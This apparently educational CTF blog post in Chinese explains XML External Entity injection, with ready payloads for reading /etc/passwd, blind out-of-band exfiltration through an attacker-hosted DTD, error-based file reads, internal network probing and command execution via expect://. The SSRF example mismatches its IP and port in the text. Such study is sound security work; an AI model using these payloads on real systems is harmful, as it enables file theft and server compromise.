Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
1825 字
9 分钟
xxe基础
2026-01-12

什么是XXE#

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。

当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

xml语法#

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

DTD#

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块,实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体

1.内部DTD文档
<!DOCTYPE 根元素[定义内容]>
2.外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
3.内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

内部实体#

<!ENTITY 实体名称 "实体的值">
例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "hello">
]>
<foo>&xxe;</foo>

几乎没有什么利用价值

外部实体#

有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,
外部实体的引用可以利用如下协议
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
例如:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
------------------------------------------------------------------------------------------------------------
外部evil.dtd中的内容
<!ENTITY evil SYSTEM “file:///d:/1.txt” >

%xxe执行后会加载外部实体 evil.dtd 并执行,得到的结果会放在<foo> </foo>中。

XXE漏洞利用#

攻击类型Payload说明
文件读取<!ENTITY xxe SYSTEM "file:///etc/passwd"> 然后在XML中引用 &xxe;利用 file:// 协议读取系统文件。如果文件内容含有特殊XML字符,可能导致解析错误
无回显数据外带在VPS放置恶意DTD(如 evil.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-vps.com/?%file;'>"> %eval; %exfil; 提交Payload引用该DTD: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://your-vps.com/evil.dtd"> %xxe;]>通过参数实体将目标文件内容拼接到发送给攻击者服务器的URL中。查看服务器访问日志即可获取文件内容
基于错误的文件读取在VPS放置恶意DTD(如 error.dtd): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; 提交Payload引用该DTD通过将文件内容注入到一个不存在的路径中,触发解析错误,从而在错误信息中回显文件内容
内网探测 (SSRF)<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">利用外部实体请求触发XML解析器向内网系统发送HTTP请求,根据响应时间或错误信息判断端口/服务状态
命令执行 (RCE)<!ENTITY xxe SYSTEM "expect://id"> 利用 PHP 的 expect 扩展(需额外安装),通过 expect:// 伪协议执行系统命令(如 idls)。当 XML 解析器处理该实体时,会调用系统 Shell 执行命令,并将命令的标准输出直接作为实体内容返回,从而实现对服务器的完全控制。

文件读取#

有回显#

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]>
<root>&file;</root>

无回显#

无回显的文件读取可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据

<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/evil.xml">
%dtd;
%send;
]>

evil.xml

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/?content=%file;'>">
%payload;
//%号要进行实体编码成&#x25

先 %dtd 请求远程服务器(攻击机)上的 evil.xml,然后 %payload 调用了 %file ,%file 获取对方服务器上的敏感文件,最后替换 %send,数据被发送到我们远程的服务器,就实现了数据的外带

另外补充两种模板参考

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
evil.xml文件内容为
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml">
%dtd;
%send;
]>
<root></root>
evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>">
%payload;

基于错误的文件读取#

当目标服务器不提供回显,但会返回详细的错误信息时,我们可以利用这种方法,通过错误来让文件内容在错误信息中显示出来,一个典型的利用Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<message>trigger</message>

% file:参数实体,读取目标文件

% eval:参数实体,它的值定义了一个新的参数实体 % error。这个% error实体试图加载一个路径为file:///nonexistent/文件内容的文件

%eval;%error;:当解析器依次处理这些参数实体时,它会尝试去访问一个路径为/nonexistent/加上/etc/passwd文件内容的”文件”。这样的路径显然不存在,从而会触发一个错误(如FileNotFoundException)。而文件内容,因为被作为路径的一部分,就有可能包含在错误信息中返回给我们

这种方法高度依赖于服务器配置,需要其开启详细的错误回显

命令执行#

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。搬运师傅们的代码以供参考

源码:

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "expect://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root>

当XML解析器处理 &xxe; 时,会识别 SYSTEM 声明中的 expect:// 伪协议,并尝试调用 PHP 的 expect 扩展来执行系统命令 ifconfig

根据解析后的 XML 数据结构(即 print_r($data) 打印出的内容),我们就可以直接获取该命令在服务器终端的标准输出结果。在这个具体的例子中,攻击者可以看到服务器的完整网络接口配置(如 IP 地址、MAC 地址、子网掩码等)。在实际渗透测试中,这代表了漏洞利用的危害等级发生了质变:从单纯的“文件读取”或“内网探测”升级为了远程命令执行 (RCE)。只要该扩展存在,攻击者就可以将其替换为 expect://idexpect://ls / 甚至反弹 Shell 的命令来完全控制服务器。

内网探测#

这种攻击方式本质上是利用XXE发起SSRF攻击,让XML解析器成为我们探测内网的”探针”,一个基本的探测Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://81.71.18.95:8080/">
]>
<data>
<status>&xxe;</status>
</data>

当XML解析器处理&xxe;时,会尝试访问http://192.168.1.1:8080/

根据响应时间、返回内容(如果回显)或错误信息(如连接拒绝、超时等),我们就可以推断该IP的80端口是否开放,或者相应服务是否存在,在实际渗透测试中,我们可能需要先读取服务器的网络配置文件(如/etc/network/interfaces/proc/net/arp/etc/hosts)来获取内网网段信息,然后再进行系统的端口或服务探测

xxe基础
https://btop251.vercel.app/posts/ctf/about_xxe/
作者
btop251
发布于
2026-01-12
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时